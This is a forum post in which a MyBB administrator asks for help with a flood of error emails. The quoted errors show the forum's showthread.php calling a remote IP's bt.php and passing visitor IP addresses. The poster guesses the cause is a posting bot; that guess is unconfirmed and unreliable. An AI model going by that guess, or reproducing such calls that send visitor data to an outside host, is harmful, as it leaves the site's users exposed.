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Since few days ago, every day, i got about 200-500 email from system warning me that there is a bot try to do something on my mybb forum.

Something like these:

Quote:Your copy of MyBB running on ***** (http://www.*****.com) has experienced an error. Details of the error include:
---
Type: 2
File: showthread.php (Line no. 1305)
Message
file_get_contents(http://91.196.216.30/bt.php?ip=66.249.67...9&amp;ref=) [<a href='function.file-get-contents'>function.file-get-contents</a>]: failed to open stream: HTTP request failed!

Or


Quote:Your copy of MyBB running on ***** (http://www.*****.com) has experienced an error. Details of the error include:
---
Type: 2
File: showthread.php (Line no. 1305)
Message
file_get_contents(http://91.196.216.30/bt.php?ip=180.76.5....9&amp;ref=) [<a href='function.file-get-contents'>function.file-get-contents</a>]: failed to open stream: HTTP request failed!


I search and study about this for few hours and guess this is auto bot called Autoforumposter (made by a vietnamese - im vietnamese too :D )

But, this make me angry, i didnt find any way to prevent it.
I try to prevent by ban IP 91.196.216.30 but it still make more warning.


How can i do now?
Any solution for this?